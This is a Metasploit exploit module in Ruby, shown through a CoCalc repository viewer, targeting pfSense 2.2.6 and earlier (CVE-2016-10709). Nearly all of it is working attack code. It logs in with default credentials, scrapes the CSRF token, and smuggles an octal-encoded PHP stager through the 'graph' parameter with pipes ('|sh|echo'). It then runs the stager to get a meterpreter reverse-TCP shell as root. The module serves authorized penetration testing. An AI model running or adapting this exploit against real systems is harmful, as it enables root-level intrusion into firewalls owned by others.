Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/pfsense_graph_injection_exec.rb
19847 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'pfSense authenticated graph status RCE',
17
'Description' => %q{
18
pfSense, a free BSD based open source firewall distribution,
19
version <= 2.2.6 contains a remote command execution
20
vulnerability post authentication in the _rrd_graph_img.php page.
21
The vulnerability occurs via the graph GET parameter. A non-administrative
22
authenticated attacker can inject arbitrary operating system commands
23
and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.
24
},
25
'Author' => [
26
'Security-Assessment.com', # discovery
27
'Milton Valencia', # metasploit module <wetw0rk>
28
'Jared Stephens', # python script <mvrk>
29
],
30
'References' => [
31
[ 'CVE', '2016-10709' ],
32
[ 'EDB', '39709' ],
33
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']
34
],
35
'License' => MSF_LICENSE,
36
'Platform' => 'php',
37
'Privileged' => true,
38
'DefaultOptions' => {
39
'SSL' => true,
40
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
41
'Encoder' => 'php/base64'
42
},
43
'Arch' => [ ARCH_PHP ],
44
'Payload' => {
45
'Space' => 6000,
46
'Compat' =>
47
{
48
'ConnectionType' => '-bind',
49
}
50
},
51
'Targets' => [[ 'Automatic Target', {} ]],
52
'DefaultTarget' => 0,
53
'DisclosureDate' => '2016-04-18',
54
'Notes' => {
55
'Reliability' => UNKNOWN_RELIABILITY,
56
'Stability' => UNKNOWN_STABILITY,
57
'SideEffects' => UNKNOWN_SIDE_EFFECTS
58
}
59
)
60
)
61
62
register_options(
63
[
64
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
65
OptString.new('PASSWORD', [ true, 'Password to login with', 'pfsense']),
66
Opt::RPORT(443)
67
], self.class
68
)
69
end
70
71
def login
72
res = send_request_cgi(
73
'uri' => '/index.php',
74
'method' => 'GET'
75
)
76
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
77
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
78
79
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
80
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
81
vprint_status("CSRF Token for login: #{csrf}")
82
83
res = send_request_cgi(
84
'uri' => '/index.php',
85
'method' => 'POST',
86
'vars_post' => {
87
'__csrf_magic' => csrf,
88
'usernamefld' => datastore['USERNAME'],
89
'passwordfld' => datastore['PASSWORD'],
90
'login' => ''
91
}
92
)
93
unless res
94
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
95
end
96
if res.code == 302
97
vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
98
return res.get_cookies
99
else
100
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
101
return nil
102
end
103
end
104
105
def detect_version(cookie)
106
res = send_request_cgi(
107
'uri' => '/index.php',
108
'method' => 'GET',
109
'cookie' => cookie
110
)
111
unless res
112
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
113
end
114
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
115
if version
116
print_status("Detected pfSense #{version}, uploading intial payload")
117
return Rex::Version.new(version)
118
end
119
# If the device isn't fully setup, you get stuck at redirects to wizard.php
120
# however, this does NOT stop exploitation strangely
121
print_error('pfSense version not detected or wizard still enabled.')
122
Rex::Version.new('0.0')
123
end
124
125
def exploit
126
begin
127
cookie = login
128
version = detect_version(cookie)
129
filename = rand_text_alpha(rand(1..10))
130
131
# generate the PHP meterpreter payload
132
stager = 'echo \'<?php '
133
stager << payload.encode
134
stager << "?>\' > #{filename}"
135
# here we begin the encoding process to
136
# convert the payload to octal! Ugly code
137
# don't look
138
complete_stage = ""
139
for i in 0..(stager.length() - 1)
140
if version.to_s =~ /2.2/
141
complete_stage << '\\'
142
end
143
complete_stage << "\\#{stager[i].ord.to_s(8)}"
144
end
145
146
res = send_request_cgi(
147
'uri' => '/status_rrd_graph_img.php',
148
'method' => 'GET',
149
'cookie' => cookie,
150
'vars_get' => {
151
'database' => '-throughput.rrd',
152
'graph' => "file|printf '#{complete_stage}'|sh|echo",
153
}
154
)
155
156
if res && res.code == 200
157
print_status('Payload uploaded successfully, executing')
158
register_file_for_cleanup(filename)
159
else
160
print_error('Failed to upload payload...')
161
end
162
163
res = send_request_cgi({
164
'uri' => '/status_rrd_graph_img.php',
165
'method' => 'GET',
166
'cookie' => cookie,
167
'vars_get' => {
168
'database' => '-throughput.rrd',
169
'graph' => "file|php #{filename}|echo "
170
}
171
})
172
disconnect
173
end
174
end
175
end
176
177